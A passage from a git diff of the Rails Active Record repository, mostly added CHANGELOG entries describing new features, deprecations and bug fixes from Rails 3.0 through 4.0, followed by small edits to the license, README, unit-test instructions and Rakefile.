+    associations are deprecated. Please transition to using `has_many
+    :through`
+
+    *Jon Leighton*
+
+*   The migration generator now creates a join table with (commented) indexes every time
+    the migration name contains the word `join_table`:
+
+        rails g migration create_join_table_for_artists_and_musics artist_id:index music_id
+
+    *Aleksey Magusev*
+
+*   Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to`
+    and `remove_belongs_to` are acceptable. References are reversible.
+    Examples:
+
+        # Create a user_id column
+        add_reference(:products, :user)
+        # Create a supplier_id, supplier_type columns and appropriate index
+        add_reference(:products, :supplier, polymorphic: true, index: true)
+        # Remove polymorphic reference
+        remove_reference(:products, :supplier, polymorphic: true)
+
+    *Aleksey Magusev*
+
+*   Add `:default` and `:null` options to `column_exists?`.
+
+        column_exists?(:testings, :taggable_id, :integer, null: false)
+        column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+
+    *Aleksey Magusev*
+
+*   `ActiveRecord::Relation#inspect` now makes it clear that you are
+    dealing with a `Relation` object rather than an array:.
+
+        User.where(:age => 30).inspect
+        # => <ActiveRecord::Relation [#<User ...>, #<User ...>, ...]>
+
+        User.where(:age => 30).to_a.inspect
+        # => [#<User ...>, #<User ...>]
+
+    The number of records displayed will be limited to 10.
+
+    *Brian Cardarella, Jon Leighton & Damien Mathieu*
+
+*   Add `collation` and `ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
+    Example:
+
+        development:
+          adapter: postgresql
+          host: localhost
+          database: rails_development
+          username: foo
+          password: bar
+          encoding: UTF8
+          collation: ja_JP.UTF8
+          ctype: ja_JP.UTF8
+
+    *kennyj*
+
+*   Changed validates_presence_of on an association so that children objects
+    do not validate as being present if they are marked for destruction. This
+    prevents you from saving the parent successfully and thus putting the parent
+    in an invalid state.
+
+    *Nick Monje & Brent Wheeldon*
+
+*   `FinderMethods#exists?` now returns `false` with the `false` argument.
+
+    *Egor Lynko*
+
+*   Added support for specifying the precision of a timestamp in the postgresql
+    adapter. So, instead of having to incorrectly specify the precision using the
+    `:limit` option, you may use `:precision`, as intended. For example, in a migration:
+
+        def change
+          create_table :foobars do |t|
+            t.timestamps :precision => 0
+          end
+        end
+
+    *Tony Schneider*
+
+*   Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an
+    array of arrays containing the typecasted values:
+
+        Person.pluck(:id, :name)
+        # SELECT people.id, people.name FROM people
+        # [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+
+    *Jeroen van Ingen & Carlos Antonio da Silva*
+
+*   Improve the derivation of HABTM join table name to take account of nesting.
+    It now takes the table names of the two models, sorts them lexically and
+    then joins them, stripping any common prefix from the second table name.
+
+    Some examples:
+
+        Top level models (Category <=> Product)
+        Old: categories_products
+        New: categories_products
+
+        Top level models with a global table_name_prefix (Category <=> Product)
+        Old: site_categories_products
+        New: site_categories_products
+
+        Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
+        Old: categories_products
+        New: categories_products
+
+        Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
+        Old: categories_products
+        New: admin_categories_products
+
+        Nested models in a parent model (Catalog::Category <=> Catalog::Product)
+        Old: categories_products
+        New: catalog_categories_products
+
+        Nested models in different parent models (Catalog::Category <=> Content::Page)
+        Old: categories_pages
+        New: catalog_categories_content_pages
+
+    *Andrew White*
+
+*   Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of
+    this is to move when the exceptions are raised from the point of declaration
+    to when the association is built. This is consistant with other association
+    validity checks.
+
+    *Andrew White*
+
+*   Added `stored_attributes` hash which contains the attributes stored using
+    `ActiveRecord::Store`. This allows you to retrieve the list of attributes
+    you've defined.
+
+       class User < ActiveRecord::Base
+         store :settings, accessors: [:color, :homepage]
+       end
+
+       User.stored_attributes[:settings] # [:color, :homepage]
+
+    *Joost Baaij & Carlos Antonio da Silva*
+
+*   PostgreSQL default log level is now 'warning', to bypass the noisy notice
+    messages. You can change the log level using the `min_messages` option
+    available in your config/database.yml.
+
+    *kennyj*
+
+*   Add uuid datatype support to PostgreSQL adapter. *Konstantin Shabanov*
+
+*   `update_attribute` has been removed. Use `update_columns` if
+    you want to bypass mass-assignment protection, validations, callbacks,
+    and touching of updated_at. Otherwise please use `update_attributes`.
+
+    *Steve Klabnik*
+
+*   Added `ActiveRecord::Migration.check_pending!` that raises an error if
+    migrations are pending. *Richard Schneeman*
+
+*   Added `#destroy!` which acts like `#destroy` but will raise an
+    `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
+
+    *Marc-André Lafortune*
+
+*   Allow blocks for `count` with `ActiveRecord::Relation`, to work similar as
+    `Array#count`:
+
+        Person.where("age > 26").count { |person| person.gender == 'female' }
+
+    *Chris Finne & Carlos Antonio da Silva*
+
+*   Added support to `CollectionAssociation#delete` for passing `fixnum`
+    or `string` values as record ids. This finds the records responding
+    to the `id` and executes delete on them.
+
+        class Person < ActiveRecord::Base
+          has_many :pets
+        end
+
+        person.pets.delete("1") # => [#<Pet id: 1>]
+        person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
+
+    *Francesco Rodriguez*
+
+*   Deprecated most of the 'dynamic finder' methods. All dynamic methods
+    except for `find_by_...` and `find_by_...!` are deprecated. Here's
+    how you can rewrite the code:
+
+      * `find_all_by_...` can be rewritten using `where(...)`
+      * `find_last_by_...` can be rewritten using `where(...).last`
+      * `scoped_by_...` can be rewritten using `where(...)`
+      * `find_or_initialize_by_...` can be rewritten using
+        `where(...).first_or_initialize`
+      * `find_or_create_by_...` can be rewritten using
+        `where(...).first_or_create`
+      * `find_or_create_by_...!` can be rewritten using
+        `where(...).first_or_create!`
+
+    The implementation of the deprecated dynamic finders has been moved
+    to the `activerecord-deprecated_finders` gem. See below for details.
+
+    *Jon Leighton*
+
+*   Deprecated the old-style hash based finder API. This means that
+    methods which previously accepted "finder options" no longer do. For
+    example this:
+
+        Post.find(:all, :conditions => { :comments_count => 10 }, :limit => 5)
+
+    Should be rewritten in the new style which has existed since Rails 3:
+
+        Post.where(comments_count: 10).limit(5)
+
+    Note that as an interim step, it is possible to rewrite the above as:
+
+        Post.all.merge(:where => { :comments_count => 10 }, :limit => 5)
+
+    This could save you a lot of work if there is a lot of old-style
+    finder usage in your application.
+
+    `Relation#merge` now accepts a hash of
+    options, but they must be identical to the names of the equivalent
+    finder method. These are mostly identical to the old-style finder
+    option names, except in the following cases:
+
+      * `:conditions` becomes `:where`
+      * `:include` becomes `:includes`
+      * `:extend` becomes `:extending`
+
+    The code to implement the deprecated features has been moved out to
+    the `activerecord-deprecated_finders` gem. This gem is a dependency
+    of Active Record in Rails 4.0. It will no longer be a dependency
+    from Rails 4.1, but if your app relies on the deprecated features
+    then you can add it to your own Gemfile. It will be maintained by
+    the Rails core team until Rails 5.0 is released.
+
+    *Jon Leighton*
+
+*   It's not possible anymore to destroy a model marked as read only.
+
+    *Johannes Barre*
+
+*   Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects
+
+      Record.from(subquery)
+      Record.from(subquery, :a)
+
+    *Radoslav Stankov*
+
+*   Added custom coders support for ActiveRecord::Store. Now you can set
+    your custom coder like this:
+
+        store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+    *Andrey Voronkov*
+
+*   `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by
+    default to avoid silent data loss. This can be disabled by specifying
+    `strict: false` in your `database.yml`.
+
+    *Michael Pearson*
+
+*   Added default order to `first` to assure consistent results among
+    diferent database engines. Introduced `take` as a replacement to
+    the old behavior of `first`.
+
+    *Marcelo Silveira*
+
+*   Added an :index option to automatically create indexes for references
+    and belongs_to statements in migrations.
+
+    The `references` and `belongs_to` methods now support an `index`
+    option that receives either a boolean value or an options hash
+    that is identical to options available to the add_index method:
+
+      create_table :messages do |t|
+        t.references :person, :index => true
+      end
+
+      Is the same as:
+
+      create_table :messages do |t|
+        t.references :person
+      end
+      add_index :messages, :person_id
+
+    Generators have also been updated to use the new syntax.
+
+    [Joshua Wood]
+
+*   Added bang methods for mutating `ActiveRecord::Relation` objects.
+    For example, while `foo.where(:bar)` will return a new object
+    leaving `foo` unchanged, `foo.where!(:bar)` will mutate the foo
+    object
+
+    *Jon Leighton*
+
+*   Added `#find_by` and `#find_by!` to mirror the functionality
+    provided by dynamic finders in a way that allows dynamic input more
+    easily:
+
+        Post.find_by name: 'Spartacus', rating: 4
+        Post.find_by "published_at < ?", 2.weeks.ago
+        Post.find_by! name: 'Spartacus'
+
+    *Jon Leighton*
+
+*   Added ActiveRecord::Base#slice to return a hash of the given methods with
+    their names as keys and returned values as values.
+
+    *Guillermo Iguaran*
+
+*   Deprecate eager-evaluated scopes.
+
+    Don't use this:
+
+        scope :red, where(color: 'red')
+        default_scope where(color: 'red')
+
+    Use this:
+
+        scope :red, -> { where(color: 'red') }
+        default_scope { where(color: 'red') }
+
+    The former has numerous issues. It is a common newbie gotcha to do
+    the following:
+
+        scope :recent, where(published_at: Time.now - 2.weeks)
+
+    Or a more subtle variant:
+
+        scope :recent, -> { where(published_at: Time.now - 2.weeks) }
+        scope :recent_red, recent.where(color: 'red')
+
+    Eager scopes are also very complex to implement within Active
+    Record, and there are still bugs. For example, the following does
+    not do what you expect:
+
+        scope :remove_conditions, except(:where)
+        where(...).remove_conditions # => still has conditions
+
+    *Jon Leighton*
+
+*   Remove IdentityMap
+
+    IdentityMap has never graduated to be an "enabled-by-default" feature, due
+    to some inconsistencies with associations, as described in this commit:
+
+       https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6
+
+    Hence the removal from the codebase, until such issues are fixed.
+
+    *Carlos Antonio da Silva*
+
+*   Added the schema cache dump feature.
+
+    `Schema cache dump` feature was implemetend. This feature can dump/load internal state of `SchemaCache` instance
+    because we want to boot rails more quickly when we have many models.
+
+    Usage notes:
+
+      1) execute rake task.
+      RAILS_ENV=production bundle exec rake db:schema:cache:dump
+      => generate db/schema_cache.dump
+
+      2) add config.active_record.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
+
+      3) boot rails.
+      RAILS_ENV=production bundle exec rails server
+      => use db/schema_cache.dump
+
+      4) If you remove clear dumped cache, execute rake task.
+      RAILS_ENV=production bundle exec rake db:schema:cache:clear
+      => remove db/schema_cache.dump
+
+    *kennyj*
+
+*   Added support for partial indices to PostgreSQL adapter
+
+    The `add_index` method now supports a `where` option that receives a
+    string with the partial index criteria.
+
+        add_index(:accounts, :code, :where => "active")
+
+        Generates
+
+        CREATE INDEX index_accounts_on_code ON accounts(code) WHERE active
+
+    *Marcelo Silveira*
+
+*   Implemented ActiveRecord::Relation#none method
+
+    The `none` method returns a chainable relation with zero records
+    (an instance of the NullRelation class).
+
+    Any subsequent condition chained to the returned relation will continue
+    generating an empty relation and will not fire any query to the database.
+
+    *Juanjo Bazán*
+
+*   Added the `ActiveRecord::NullRelation` class implementing the null
+    object pattern for the Relation class. *Juanjo Bazán*
+
+*   Added new `:dependent => :restrict_with_error` option. This will add
+    an error to the model, rather than raising an exception.
+
+    The `:restrict` option is renamed to `:restrict_with_exception` to
+    make this distinction explicit.
+
+    *Manoj Kumar & Jon Leighton*
+
+*   Added `create_join_table` migration helper to create HABTM join tables
+
+        create_join_table :products, :categories
+        # =>
+        # create_table :categories_products, :id => false do |td|
+        #   td.integer :product_id, :null => false
+        #   td.integer :category_id, :null => false
+        # end
+
+    *Rafael Mendonça França*
+
+*   The primary key is always initialized in the @attributes hash to nil (unless
+    another value has been specified).
+
+*   In previous releases, the following would generate a single query with
+    an `OUTER JOIN comments`, rather than two separate queries:
+
+        Post.includes(:comments)
+            .where("comments.name = 'foo'")
+
+    This behaviour relies on matching SQL string, which is an inherently
+    flawed idea unless we write an SQL parser, which we do not wish to
+    do.
+
+    Therefore, it is now deprecated.
+
+    To avoid deprecation warnings and for future compatibility, you must
+    explicitly state which tables you reference, when using SQL snippets:
+
+        Post.includes(:comments)
+            .where("comments.name = 'foo'")
+            .references(:comments)
+
+    Note that you do not need to explicitly specify references in the
+    following cases, as they can be automatically inferred:
+
+        Post.where(comments: { name: 'foo' })
+        Post.where('comments.name' => 'foo')
+        Post.order('comments.name')
+
+    You also do not need to worry about this unless you are doing eager
+    loading. Basically, don't worry unless you see a deprecation warning
+    or (in future releases) an SQL error due to a missing JOIN.
+
+    [Jon Leighton]
+
+*   Support for the `schema_info` table has been dropped.  Please
+    switch to `schema_migrations`.
+
+*   Connections *must* be closed at the end of a thread.  If not, your
+    connection pool can fill and an exception will be raised.
+
+*   Added the `ActiveRecord::Model` module which can be included in a
+    class as an alternative to inheriting from `ActiveRecord::Base`:
+
+        class Post
+          include ActiveRecord::Model
+        end
+
+    Please note:
+
+      * Up until now it has been safe to assume that all AR models are
+        descendants of `ActiveRecord::Base`. This is no longer a safe
+        assumption, but it may transpire that there are areas of the
+        code which still make this assumption. So there may be
+        'teething difficulties' with this feature. (But please do try it
+        and report bugs.)
+
+      * Plugins & libraries etc that add methods to `ActiveRecord::Base`
+        will not be compatible with `ActiveRecord::Model`. Those libraries
+        should add to `ActiveRecord::Model` instead (which is included in
+        `Base`), or better still, avoid monkey-patching AR and instead
+        provide a module that users can include where they need it.
+
+      * To minimise the risk of conflicts with other code, it is
+        advisable to include `ActiveRecord::Model` early in your class
+        definition.
+
+    *Jon Leighton*
+
+*   PostgreSQL hstore records can be created.
+
+*   PostgreSQL hstore types are automatically deserialized from the database.
+
+## Rails 3.2.8 (Aug 9, 2012) ##
+
+*   Do not consider the numeric attribute as changed if the old value is zero and the new value
+    is not a string.
+    Fixes #7237.
+
+    *Rafael Mendonça França*
+
+*   Removes the deprecation of `update_attribute`. *fxn*
+
+*   Reverted the deprecation of `composed_of`. *Rafael Mendonça França*
+
+*   Reverted the deprecation of `*_sql` association options. They will
+    be deprecated in 4.0 instead. *Jon Leighton*
+
+*   Do not eager load AR session store. ActiveRecord::SessionStore depends on the abstract store
+    in Action Pack. Eager loading this class would break client code that eager loads Active Record
+    standalone.
+    Fixes #7160
+
+    *Xavier Noria*
+
+*   Do not set RAILS_ENV to "development" when using `db:test:prepare` and related rake tasks.
+    This was causing the truncation of the development database data when using RSpec.
+    Fixes #7175.
+
+    *Rafael Mendonça França*
+
+
+## Rails 3.2.7 (Jul 26, 2012) ##
+
+*   `:finder_sql` and `:counter_sql` options on collection associations
+    are deprecated. Please transition to using scopes.
+
+    *Jon Leighton*
+
+*   `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
+    associations are deprecated. Please transition to using `has_many
+    :through`
+
+    *Jon Leighton*
+
+*   `composed_of` has been deprecated. You'll have to write your own accessor
+    and mutator methods if you'd like to use value objects to represent some
+    portion of your models.
+
+    *Steve Klabnik*
+
+*   `update_attribute` has been deprecated. Use `update_column` if
+    you want to bypass mass-assignment protection, validations, callbacks,
+    and touching of updated_at. Otherwise please use `update_attributes`.
+
+    *Steve Klabnik*
+
+
+## Rails 3.2.6 (Jun 12, 2012) ##
+
+*   protect against the nesting of hashes changing the
+    table context in the next call to build_from_hash. This fix
+    covers this case as well.
+
+    CVE-2012-2695
+
+*   Revert earlier 'perf fix' (see 3.2.4 changelog / GH #6289). This
+    change introduced a regression (GH #6609). assoc.clear and
+    assoc.delete_all have loaded the association before doing the delete
+    since at least Rails 2.3. Doing the delete without loading the
+    records means that the `before_remove` and `after_remove` callbacks do
+    not get invoked. Therefore, this change was less a fix a more an
+    optimisation, which should only have gone into master.
+
+    *Jon Leighton*
+
+
+## Rails 3.2.5 (Jun 1, 2012) ##
+
+*   Restore behavior of Active Record 3.2.3 scopes.
+    A series of commits relating to preloading and scopes caused a regression.
+
+    *Andrew White*
+
+
+## Rails 3.2.4 (May 31, 2012) ##
+
+*   Perf fix: Don't load the records when doing assoc.delete_all.
+    GH #6289. *Jon Leighton*
+
+*   Association preloading shouldn't be affected by the current scoping.
+    This could cause infinite recursion and potentially other problems.
+    See GH #5667. *Jon Leighton*
+
+*   Datetime attributes are forced to be changed. GH #3965
+
+*   Fix attribute casting. GH #5549
+
+*   Fix #5667. Preloading should ignore scoping.
+
+*   Predicate builder should not recurse for determining where columns.
+    Thanks to Ben Murphy for reporting this! CVE-2012-2661
+
+
+## Rails 3.2.3 (March 30, 2012) ##
+
+*   Added find_or_create_by_{attribute}! dynamic method. *Andrew White*
+
+*   Whitelist all attribute assignment by default. Change the default for newly generated applications to whitelist all attribute assignment.  Also update the generated model classes so users are reminded of the importance of attr_accessible. *NZKoz*
+
+*   Update ActiveRecord::AttributeMethods#attribute_present? to return false for empty strings. *Jacobkg*
+
+*   Fix associations when using per class databases. *larskanis*
+
+*   Revert setting NOT NULL constraints in add_timestamps *fxn*
+
+*   Fix mysql to use proper text types. Fixes #3931. *kennyj*
+
+*   Fix #5069 - Protect foreign key from mass assignment through association builder. *byroot*
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+*   The threshold for auto EXPLAIN is ignored if there's no logger. *fxn*
+
+*   Call `to_s` on the value passed to `table_name=`, in particular symbols
+    are supported (regression). *Sergey Nartimov*
+
+*   Fix possible race condition when two threads try to define attribute
+    methods for the same class. *Jon Leighton*
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+*   Added a `with_lock` method to ActiveRecord objects, which starts
+    a transaction, locks the object (pessimistically) and yields to the block.
+    The method takes one (optional) parameter and passes it to `lock!`.
+
+    Before:
+
+        class Order < ActiveRecord::Base
+          def cancel!
+            transaction do
+              lock!
+              # ... cancelling logic
+            end
+          end
+        end
+
+    After:
+
+        class Order < ActiveRecord::Base
+          def cancel!
+            with_lock do
+              # ... cancelling logic
+            end
+          end
+        end
+
+    *Olek Janiszewski*
+
+*   'on' and 'ON' boolean columns values are type casted to true
+    *Santiago Pastorino*
+
+*   Added ability to run migrations only for given scope, which allows
+    to run migrations only from one engine (for example to revert changes
+    from engine that you want to remove).
+
+    Example:
+      rake db:migrate SCOPE=blog
+
+    *Piotr Sarnacki*
+
+*   Migrations copied from engines are now scoped with engine's name,
+    for example 01_create_posts.blog.rb. *Piotr Sarnacki*
+
+*   Implements `AR::Base.silence_auto_explain`. This method allows the user to
+    selectively disable automatic EXPLAINs within a block. *fxn*
+
+*   Implements automatic EXPLAIN logging for slow queries.
+
+    A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds`
+    determines what's to be considered a slow query. Setting that to `nil` disables
+    this feature. Defaults are 0.5 in development mode, and `nil` in test and production
+    modes.
+
+    As of this writing there's support for SQLite, MySQL (mysql2 adapter), and
+    PostgreSQL.
+
+    *fxn*
+
+*   Implemented ActiveRecord::Relation#pluck method
+
+    Method returns Array of column value from table under ActiveRecord model
+
+        Client.pluck(:id)
+
+    *Bogdan Gusiev*
+
+*   Automatic closure of connections in threads is deprecated.  For example
+    the following code is deprecated:
+
+    Thread.new { Post.find(1) }.join
+
+    It should be changed to close the database connection at the end of
+    the thread:
+
+    Thread.new {
+      Post.find(1)
+      Post.connection.close
+    }.join
+
+    Only people who spawn threads in their application code need to worry
+    about this change.
+
+*   Deprecated:
+
+      * `set_table_name`
+      * `set_inheritance_column`
+      * `set_sequence_name`
+      * `set_primary_key`
+      * `set_locking_column`
+
+    Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`:
+
+         class Project < ActiveRecord::Base
+           self.table_name = "project"
+         end
+
+    Or define your own `self.table_name` method:
+
+         class Post < ActiveRecord::Base
+           def self.table_name
+             "special_" + super
+           end
+         end
+         Post.table_name # => "special_posts"
+
+    *Jon Leighton*
+
+*   Generated association methods are created within a separate module to allow overriding and
+    composition using `super`. For a class named `MyModel`, the module is named
+    `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after
+    the `generated_attributes_methods` module defined in ActiveModel, so association methods
+    override attribute methods of the same name. *Josh Susser*
 
 *   Implemented ActiveRecord::Relation#explain. *fxn*
 
@@ -12,7 +875,7 @@
 
         Client.select(:name).uniq
 
-    This also allows you to revert the unqueness in a relation:
+    This also allows you to revert the uniqueness in a relation:
 
         Client.select(:name).uniq.uniq(false)
 
@@ -65,7 +928,71 @@
 
     *Aaron Christy*
 
-## Rails 3.1.2 (unreleased) ##
+
+## Rails 3.1.4 (March 1, 2012) ##
+
+ *   Fix a custom primary key regression *GH 3987*
+
+     *Jon Leighton*
+
+ *   Perf fix (second try): don't load records for `has many :dependent =>
+     :delete_all` *GH 3672*
+
+     *Jon Leighton*
+
+ *   Fix accessing `proxy_association` method from an association extension
+     where the calls are chained. *GH #3890*
+
+     (E.g. `post.comments.where(bla).my_proxy_method`)
+
+     *Jon Leighton*
+
+ *   Perf fix: MySQL primary key lookup was still slow for very large
+     tables. *GH 3678*
+
+     *Kenny J*
+
+ *   Perf fix: If a table has no primary key, don't repeatedly ask the database for it.
+
+     *Julius de Bruijn*
+
+
+### Rails 3.1.3 (November 20, 2011) ##
+
+*   Perf fix: If we're deleting all records in an association, don't add a IN(..) clause
+    to the query. *GH 3672*
+
+    *Jon Leighton*
+
+*   Fix bug with referencing other mysql databases in set_table_name. *GH 3690*
+
+*   Fix performance bug with mysql databases on a server with lots of other databses. *GH 3678*
+
+    *Christos Zisopoulos and Kenny J*
+
+
+### Rails 3.1.2 (November 18, 2011) ##
+
+*   Fix bug with PostgreSQLAdapter#indexes. When the search path has multiple schemas, spaces
+    were not being stripped from the schema names after the first.
+
+    *Sean Kirby*
+
+*   Preserve SELECT columns on the COUNT for finder_sql when possible. *GH 3503*
+
+    *Justin Mazzi*
+
+*   Reset prepared statement cache when schema changes impact statement results. *GH 3335*
+
+    *Aaron Patterson*
+
+*   Postgres: Do not attempt to deallocate a statement if the connection is no longer active.
+
+    *Ian Leitch*
+
+*   Prevent QueryCache leaking database connections. *GH 3243*
+
+    *Mark J. Titorenko*
 
 *   Fix bug where building the conditions of a nested through association could potentially
     modify the conditions of the through and/or source association. If you have experienced
@@ -91,6 +1018,7 @@
 
     *Kenny J*
 
+
 ## Rails 3.1.1 (October 7, 2011) ##
 
 *   Add deprecation for the preload_associations method. Fixes #3022.
@@ -117,7 +1045,7 @@
 
 *   LRU cache in mysql and sqlite are now per-process caches.
 
-    * lib/active_record/connection_adapters/mysql_adapter.rb: LRU cache  	  keys are per process id.
+    * lib/active_record/connection_adapters/mysql_adapter.rb: LRU cache     keys are per process id.
     * lib/active_record/connection_adapters/sqlite_adapter.rb: ditto
     *Aaron Patterson*
 
@@ -129,19 +1057,6 @@
     a URI that specifies the connection configuration.  For example:
         ActiveRecord::Base.establish_connection 'postgres://localhost/foo'
 
-*   Active Record's dynamic finder will now raise the error if you passing in less number of arguments than what you call in method signature.
-
-    So if you were doing this and expecting the second argument to be nil:
-
-        User.find_by_username_and_group("sikachu")
-
-    You'll now get `ArgumentError: wrong number of arguments (1 for 2).` You'll then have to do this:
-
-        User.find_by_username_and_group("sikachu", nil)
-
-    *Prem Sichanugrist*
-
-
 ## Rails 3.1.0 (August 30, 2011) ##
 
 *   Add a proxy_association method to association proxies, which can be called by association
@@ -176,7 +1091,7 @@
           has_one :account
         end
 
-        user.build_account{ |a| a.credit_limit => 100.0 }
+        user.build_account{ |a| a.credit_limit = 100.0 }
 
     The block is called after the instance has been initialized. *Andrew White*
 
@@ -463,6 +1378,58 @@
     *Aaron Patterson*
 
 
+## Rails 3.0.12 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.0.11 (November 18, 2011) ##
+
+*   Exceptions from database adapters should not lose their backtrace.
+
+*   Backport "ActiveRecord::Persistence#touch should not use default_scope" (GH #1519)
+
+*   Psych errors with poor yaml formatting are proxied. Fixes GH #2645 and
+    GH #2731
+
+*   Fix ActiveRecord#exists? when passsed a nil value
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+*   Magic encoding comment added to schema.rb files
+
+*   schema.rb is written as UTF-8 by default.
+
+*   Ensuring an established connection when running `rake db:schema:dump`
+
+*   Association conditions will not clobber join conditions.
+
+*   Destroying a record will destroy the HABTM record before destroying itself.
+    GH #402.
+
+*   Make `ActiveRecord::Batches#find_each` to not return `self`.
+
+*   Update `table_exists?` in PG to to always use current search_path or schema if explictly set.
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+*   Fix various problems with using :primary_key and :foreign_key options in conjunction with
+  :through associations. [Jon Leighton]
+
+*   Correctly handle inner joins on polymorphic relationships.
+
+*   Fixed infinity and negative infinity cases in PG date columns.
+
+*   Creating records with invalid associations via `create` or `save` will no longer raise exceptions.
+
+
 ## Rails 3.0.7 (April 18, 2011) ##
 
 *   Destroying records via nested attributes works independent of reject_if LH #6006 *Durran Jordan*
@@ -584,8 +1551,6 @@
 
 ## Rails 3.0.0 (August 29, 2010) ##
 
-*   Changed update_attribute to not run callbacks and update the record directly in the database *Neeraj Singh*
-
 *   Add scoping and unscoped as the syntax to replace the old with_scope and with_exclusive_scope *José Valim*
 
 *   New rake task, db:migrate:status, displays status of migrations #4947 *Kevin Skoglund*
@@ -3497,7 +4462,7 @@
 
 *   Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 *Alisdair McDiarmid*
 
-*   Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
+*   Fixed saving of in-memory association structures to happen as an after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
 
 *   Allow any Enumerable, not just Array, to work as bind variables #1344 *Jeremy Kemper*
 
@@ -5010,7 +5975,7 @@
 
 *   Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 *Alisdair McDiarmid*
 
-*   Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
+*   Fixed saving of in-memory association structures to happen as an after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
 
 *   Allow any Enumerable, not just Array, to work as bind variables #1344 *Jeremy Kemper*
 
@@ -5932,7 +6897,7 @@
         post.categories.push_with_attributes(category, :added_on => Date.today)
         post.categories.first.added_on # => Date.today
 
-    NOTE: The categories table doesn't have a added_on column, it's the categories_post join table that does!
+    NOTE: The categories table doesn't have an added_on column, it's the categories_post join table that does!
 
 *   Fixed that :exclusively_dependent and :dependent can't be activated at the same time on has_many associations *Jeremy Kemper*
 
diff --git a/activerecord/MIT-LICENSE b/activerecord/MIT-LICENSE
index c73d1af096..03bde18130 100644
--- a/activerecord/MIT-LICENSE
+++ b/activerecord/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2011 David Heinemeier Hansson
+Copyright (c) 2004-2012 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activerecord/README.rdoc b/activerecord/README.rdoc
index 70922ef864..d080e0b0f5 100644
--- a/activerecord/README.rdoc
+++ b/activerecord/README.rdoc
@@ -61,10 +61,10 @@ A short rundown of some of the major features:
 * Validation rules that can differ for new or existing objects.
 
     class Account < ActiveRecord::Base
-      validates_presence_of     :subdomain, :name, :email_address, :password
-      validates_uniqueness_of   :subdomain
-      validates_acceptance_of   :terms_of_service, :on => :create
-      validates_confirmation_of :password, :email_address, :on => :create
+      validates :subdomain, :name, :email_address, :password, presence: true
+      validates :subdomain, uniqueness: true
+      validates :terms_of_service, acceptance: true, on: :create
+      validates :password, :email_address, confirmation: true, on: :create
     end
 
   {Learn more}[link:classes/ActiveRecord/Validations.html]
@@ -143,7 +143,7 @@ A short rundown of some of the major features:
 
 * Logging support for Log4r[http://log4r.sourceforge.net] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
 
-    ActiveRecord::Base.logger = Logger.new(STDOUT)
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
     ActiveRecord::Base.logger = Log4r::Logger.new("Application Log")
 
 
@@ -208,7 +208,9 @@ Source code can be downloaded as part of the Rails project on GitHub
 
 == License
 
-Active Record is released under the MIT license.
+Active Record is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
 
 
 == Support
diff --git a/activerecord/RUNNING_UNIT_TESTS b/activerecord/RUNNING_UNIT_TESTS
index 6a2e23b01f..bdd8834dcb 100644
--- a/activerecord/RUNNING_UNIT_TESTS
+++ b/activerecord/RUNNING_UNIT_TESTS
@@ -1,11 +1,10 @@
-== Configure databases
+== Setup
 
-Copy test/config.example.yml to test/config.yml and edit as needed. Or just run the tests for
-the first time, which will do the copy automatically and use the default (sqlite3).
+If you don't have the environment set make sure to read
 
-You can build postgres and mysql databases using the build_postgresql and build_mysql rake tasks.
+    http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#testing-active-record.
 
-== Running the tests
+== Running the Tests
 
 You can run a particular test file from the command line, e.g.
 
@@ -26,14 +25,7 @@ You can run all the tests for a given database via rake:
 
 The 'rake test' task will run all the tests for mysql, mysql2, sqlite3 and postgresql.
 
-== Identity Map
-
-By default the tests run with the Identity Map turned off. But all tests should pass whether or
-not the identity map is on or off. You can turn it on using the IM env variable:
-
-  $ IM=true ruby -Itest test/case/base_test.rb
-
-== Config file
+== Custom Config file
 
 By default, the config file is expected to be at the path test/config.yml. You can specify a
 custom location with the ARCONFIG environment variable.
diff --git a/activerecord/Rakefile b/activerecord/Rakefile
index d769a73dba..a29d7b0e99 100755..100644
--- a/activerecord/Rakefile
+++ b/activerecord/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
 require 'rake/testtask'
 require 'rake/packagetask'
 require 'rubygems/package_task'
@@ -48,8 +47,8 @@ end
       |x| x =~ /\/adapters\//
